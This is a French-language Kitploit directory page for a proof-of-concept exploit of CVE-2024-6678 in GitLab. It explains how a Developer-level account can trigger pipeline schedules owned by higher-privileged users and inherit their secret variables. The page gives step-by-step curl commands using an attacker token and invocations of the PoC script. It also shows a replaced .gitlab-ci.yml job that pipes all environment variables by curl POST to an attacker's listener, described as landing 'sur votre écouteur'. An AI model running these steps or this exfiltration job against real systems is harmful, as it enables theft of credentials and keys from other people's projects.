Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-6678 — PoC for CVE-2024-6678 | Kitploit
Outils/GitHubGitHub/fallenskill1/cve-2024-6678
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCloud SecurityDevSecOps
GitHubfallenskill1/cve-2024-6678

CVE-2024-6678

PoC for CVE-2024-6678

Voir le dépôt
41il y a 3 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2024-6678 - GitLab : Déclenchement arbitraire de pipeline planifié par un utilisateur

PoC pour CVE-2024-6678

Description de la vulnérabilité

GitLab permet aux utilisateurs de lancer manuellement des planifications de pipelines CI/CD (Pipeline Schedules) via le bouton « Play ». La vulnérabilité réside dans le fait que la fonction « play » permet à tout utilisateur avec les droits Developer (et pas seulement au propriétaire de la planification) de lancer la planification. Cela entraîne deux conséquences :

  1. Un développeur lance une planification créée et configurée par un utilisateur plus privilégié (Maintainer / Owner).
  2. Le pipeline lancé hérite des variables d'environnement de la planification (y compris les sensibles), bien que le Developer n'ait pas les droits de les consulter via l'API.

L'impact final dépendra de ce qui est stocké dans les variables de la planification. Par exemple, la variable DB_PASSWORD ouvre la possibilité de faire un dump complet de la base de données, et SSH_PRIVATE_KEY d'obtenir un RCE.

Étapes de reproduction

Prérequis

  • GitLab CE/EE, versions de 8.14 à 17.1.6 / 17.2.4 / 17.3.1
  • Un compte attaquant avec les droits Developer dans le projet cible
  • Au moins une planification de pipeline active dans le projet
  • La planification cible une branche non protégée (par exemple, develop, staging) — ou bien il existe des planifications avec un format de ref court (bypass)

Important : les planifications sur des branches protégées (par exemple, refs/heads/main avec la protection activée) sont bloquées par la politique PipelineSchedulePolicy#protected_ref et renvoient une erreur HTTP 403. L'attaque fonctionne pour les branches non protégées — c'est là que sont souvent créées les planifications d'intégration et de staging avec des identifiants de production.

Étape 1. Obtenir la liste des planifications

root@kitploit:~
curl -s -H "PRIVATE-TOKEN: ATTACKER_TOKEN" \
  "https://gitlab.example.com/api/v4/projects/PROJECT_ID/pipeline_schedules" \
  | python3 -m json.tool

Trouver une planification appartenant à un utilisateur plus privilégié (Maintainer/Owner).

Étape 2. Lancer la planification

root@kitploit:~
curl -s -X POST \
  -H "PRIVATE-TOKEN: ATTACKER_TOKEN" \
  "https://gitlab.example.com/api/v4/projects/PROJECT_ID/pipeline_schedules/SCHEDULE_ID/play"

Réponse attendue : HTTP 201 — le pipeline est ajouté à la file d'attente.

Le pipeline est créé au nom de l'attaquant (current_user), mais avec toutes les variables de la planification (qui peuvent inclure des clés API, des jetons, des identifiants configurés par le propriétaire).

HTTP 500 "Unable to schedule pipeline run immediately" — Comportement attendu. Il s'agit de la déduplication Sidekiq (deduplicate :until_executed) : la tâche pour cette planification est déjà dans la file d'attente suite à un lancement précédent réussi. Cela signifie que l'attaque a déjà fonctionné et que la tâche attend d'être exécutée.

Étape 3. Confirmer la création du pipeline au nom de l'attaquant

root@kitploit:~
curl -s -H "PRIVATE-TOKEN: ATTACKER_TOKEN" \
  "https://gitlab.example.com/api/v4/projects/PROJECT_ID/pipelines?source=schedule&per_page=5" \
  | python3 -m json.tool | grep -E '"id"|"status"|"username"'

Utilisation du PoC

root@kitploit:~
# Lancement de base : sélection automatique de la planification
python3 cve-2024-6678-poc.py \
    --url https://gitlab.example.com \
    --token glpat-xxxx \
    --project-id 42

# Spécifier une planification particulière
python3 cve-2024-6678-poc.py \
    --url https://gitlab.example.com \
    --token glpat-xxxx \
    --project-id 42 \
    --schedule-id 7

# Via GraphQL (nécessite --project-path)
python3 cve-2024-6678-poc.py \
    --url https://gitlab.example.com \
    --token glpat-xxxx \
    --project-id 42 \
    --graphql \
    --project-path "mygroup/myrepo"

# Vérifier le bypass legacy-ref
python3 cve-2024-6678-poc.py \
    --url https://gitlab.example.com \
    --token glpat-xxxx \
    --project-id 42 \
    --exploit-mode
image_2026-05-21_11-43-42 image

Avant le déclenchement, le PoC remplace .gitlab-ci.yml dans develop par : stages: [exfil] dump_vars: stage: exfil script: - env | grep -vE '^(CI_JOB_TOKEN|GITLAB_FEATURES)' | curl -X POST 'http://IP:PORT' --data-binary @-

Tout cela arrive sur votre écouteur

image_2026-05-21_19-05-58

Liens

  • Avis de sécurité GitLab
  • NVD : CVE-2024-6678
Télécharger l’outil